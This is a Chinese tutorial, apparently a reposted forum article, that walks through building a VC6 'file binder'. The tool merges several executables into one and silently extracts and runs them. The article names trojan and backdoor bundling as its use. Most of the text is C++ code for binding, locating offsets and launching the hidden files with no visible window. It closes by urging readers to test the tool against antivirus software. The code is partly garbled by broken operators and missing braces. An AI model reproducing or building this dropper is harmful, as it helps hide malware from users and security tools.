1、1 楼将多个文件合并成一个最终可执行文件,运行这个最终合成文件后,就相当于运行了合并前的多个文件,这种程序在木马或后门程序合并中会经常用到,你想知道它是怎么用程序实现的么?下面我就用 VC6 做的一个文件捆绑器的例子来告诉你。 其实文件捆绑器的构成思想非常简单:合并文件时,建立一个新的二进制文件,先写入你的自身捆绑程序的数据和文件长度,再写入你要捆绑的第一个文件的数据和其文件长度,跟着写入你要捆绑的第二个文件的数据和文件长度最后直接写入你要捆绑的最后一个文件的数据(不需其文件长度)。分解释放最终合成文件时,将上面的方法倒过来既可:打开最终合成文件,读取源自身捆绑程序文件长度,将文件指针移到自身
2、捆绑程序数据后,读取第一个被绑定文件的长度,接着读取其长度的文件数据并写入到一新建文件 1 中,再读取第二个被绑定文件的长度,接着读取其长度的数据并写入到新建文件 2 中直到最后直接读取最后一个被绑定文件的数据并将其写入到最后一个新建文件中既可(下面实例仅告诉你如何实现两个文件的捆绑,至于多个文件的捆绑,读者只需略加改动既可,详情请查看配套光盘中的实例代码。) 下面我来讲讲文件捆绑最核心的部分,以及如何具体将其用代码来实现的方法(文章尽量采取行行注释的方法,希望每个读者朋友都能看懂) 。 捆绑多个文件为一个可执行程序先得到自身捆绑程序的文件长度和第一个要捆绑文件的文件长度,枚举第一个要捆绑文件
3、有无图标,有的话就用它做为最终生成文件的图标,否则用自身捆绑程序所带默认图标做最终生成文件的图标。在新建二进制文件中写入自身捆绑程序的数据和其文件长度,再写入第一个要捆绑文件的数据及其文件长度,最后直接写入第二个文件的数据既可。 下面是合并程序函数的具体代码实现如下: /定义要使用到的捆绑程序自身文件信息的结构体 struct MODIFY_DATA unsigned int finder; / 常量(定位自身) _off_t my_length; /文件长度(自身) modify_data = 0x12345678, 0; /绑定二个文件为一个可执行文件 bool CBindFileDlg:
4、Bind_Files() FILE* myself; /自身文件 FILE* out; /最终合成文件 FILE* in; /待绑定文件 int bytesin; /一次读文件字节数 int totalbytes = 0; /读出文件总字节数 struct _stat ST; /文件的状态信息(如文件长度等) unsigned int finder = 0x12345678; /自身文件定位 unsigned int i, k; int l=1; /进度条状态显示变量 char buff20; /进度条状态显示变量 his_name = strFirstFilePath; /第一个绑定的文件名
5、 _stat(my_name, /获取自身捆绑文件信息 modify_data.my_length = ST.st_size; /得到自身文件长度 if (modify_data.my_length = 0) MessageBox(“绑定文件中,自身文件长度为零时出错!“,“错误“); return false; buf = (BYTE *)malloc(modify_data.my_length); /分配一定大小缓冲区 if (buf = NULL) MessageBox(“绑定文件中,分配自身文件长度时出错!“,“错误“); return false; myself = fopen(my
6、_name, “rb“); /打开自身文件 if (myself = NULL) free(buf); MessageBox(“绑定文件中,打开自身文件时出错!“,“错误“); return false; /先读取捆绑程序自身文件数据 bytesin = fread(buf, 1, modify_data.my_length, myself); fclose(myself); if (bytesin != modify_data.my_length) free(buf); MessageBox(“绑定文件中,不能完全读取自身文件内容时出错!“,“错误“); return false; /存储自
7、身文件信息到缓冲区(如长度) for (i = 0; i = modify_data.my_length - sizeof(finder) free(buf); MessageBox(“绑定文件中,不能定位自身文件时出错!“,“错误“); return false; /获取第一个要绑定文件的信息(文件长度) if (_stat(strFirstFilePath, MessageBox(“绑定文件中,读取第一个要绑定文件时出错!“,“错误“); return false; /获取自身文件图标及第一个要绑定文件的图标(如第一个要绑定文件没有图标, /则用自身文件图标。其涵数实现请参看例程) lis
8、t_my_icons(); out = fopen(strFinalFilePath, “wb“); /创建最终合成文件 if (out = NULL) free(buf); MessageBox(“绑定文件中,创建绑定后生成的合成文件时出错!“,“错误“); return false; /先将前面读出的自身捆绑程序的数据写入最终合成文件中 totalbytes += fwrite(buf, 1, bytesin, out); in = fopen(strFirstFilePath, “rb“); /打开第一个要绑定的文件 if (in = NULL) free(buf); MessageBo
9、x(“绑定文件中,打开第一个要绑定文件时出错!“,“错误“); return false; /写入第一个要绑定文件的长度到最终合成文件中 totalbytes += fwrite( /写入最终分解后文件执行方式的标志位(同步或异步执行) UpdateData(TRUE); /传控件值到变量 m_Sync 中 totalbytes += fwrite( /写入第一个要绑定文件的数据到最终合成文件中 while (bytesin = fread(buf, 1, modify_data.my_length, in) totalbytes += fwrite(buf, 1, bytesin, out)
10、; fclose(in); /关闭第一个绑定文件句柄 /设置进度条显示 m_Progress.SetRange(0,500); for (int m = 0; m prog1_length) bytesin = prog1_length - totalbytes; totalbytes += fwrite(buf, 1, bytesin, out); fclose(out); /关闭第一个绑定文件句柄 #ifdef DEBUG_PRINT fprintf(stderr, “已复制 %d 字节!n“, totalbytes); #endif DEBUG_PRINT totalbytes = 0;
11、 out = fopen(temp_exe2, “wb“); /创建第二个绑定的文件 if (out = NULL) free(buf); MessageBox(“分离文件中,创建第二个被绑定文件时出错!“,“错误“); return; /将文件指针定位到最终合成文件中的第二个绑定文件头部, 偏移量=(捆绑器自身文件长度+保存第一个绑定文件长度所占字节数+保存最终文件执行标志所占字节数+第一个绑定文件长度) fseek(myself,modify_data.my_length+ sizeof(modify_data.my_length) + sizeof(int) + prog1_length
12、, SEEK_SET); /读取第二个绑定文件内容并写入到新建的 temp2.exe 文件中 while (bytesin = fread(buf, 1, sizeof(buf), myself) 4 楼totalbytes += fwrite(buf, 1, bytesin, out); fclose(out); /关闭第二个绑定文件句柄 #ifdef DEBUG_PRINT fprintf(stderr, “已复制 %d 字节n“, totalbytes); #endif DEBUG_PRINT fclose(myself); /关闭最终合成文件句柄 if (totalbytes = 0)
13、 free(buf); MessageBox(“分离文件中,在自身文件中没有被分离的对象!“,“错误“); return; free(buf); /释放缓冲区 /判断前面读取的最终文件执行标志,来决定以何种方式运行它 if(!SyncFlag) /(0 - 同步执行,1 - 异步执行) /置为分解后,为同步执行方式 Create_Process(temp_exe1, false); Create_Process(temp_exe2, false); else /置为分解后,为异步执行方式 Create_Process(temp_exe1, true); Create_Process(temp_
14、exe2, true); 判断程序捆绑、分解时间 由于本程序是将自身捆绑程序作为文件头,要绑定文件附加其后方式生成最终合成文件的,所以只要知道自身捆绑程序的文件长度,再在初始化对话框函数 OnInitDialog()加以判断及可知道是否是最终合成文件(要不要释放内部绑定文件)。故判断是捆绑还是释放文件的代码具体实现如下: BOOL CBindFileDlg:OnInitDialog() CDialog:OnInitDialog(); / Add “About.“ menu item to system menu. / IDM_ABOUTBOX must be in the system com
15、mand range. ASSERT(IDM_ABOUTBOX ASSERT(IDM_ABOUTBOX AppendMenu(MF_SEPARATOR); pSysMenu-AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu); / Set the icon for this dialog. The framework does this automatically / when the applications main window is not a dialog SetIcon(m_hIcon, TRUE); / Set big icon S
16、etIcon(m_hIcon, FALSE); / Set small icon /在此初始化渐变色进度条 m_Progress.SetRange32(1,500); m_Progress.SetBkColor(RGB(160,180,220); m_Progress.ShowPercent(true); m_Progress.SetPos(500); /初始置各文件名变量为空 strFirstFilePath = “; /要绑定第一个文件名 strSecondFilePath = “; /要绑定第二个文件名 strFinalFilePath = “; /最终合成文件名 /初始化变量 prog
17、1_length = 0; /文件长度 his_name = “; /绑定文件名 buf = NULL; /缓冲区置空 /获取自身文件名到 my_mane 变量中 :GetModuleFileName(0, my_name, sizeof(my_name); struct _stat ST; _stat(my_name, /获取自身文件信息(长度) /在此加入捆绑器程序的最终大小,来判断是绑定文件还是分解执行文件 /当发现自身文件大小大于原大小 184K 时,为释放内部合成文件 if(ST.st_size 184*1024) Unbind(); /分离文件并运行 exit(0); /直接退出程序,不显示捆绑程序画面 return TRUE; 好,到这里一个完整的文件捆绑器就从你的手中诞生了,你完全可以用它去挑战各类安全防护软件,看看是我们写的程序隐蔽性强,还是各大安全软件强!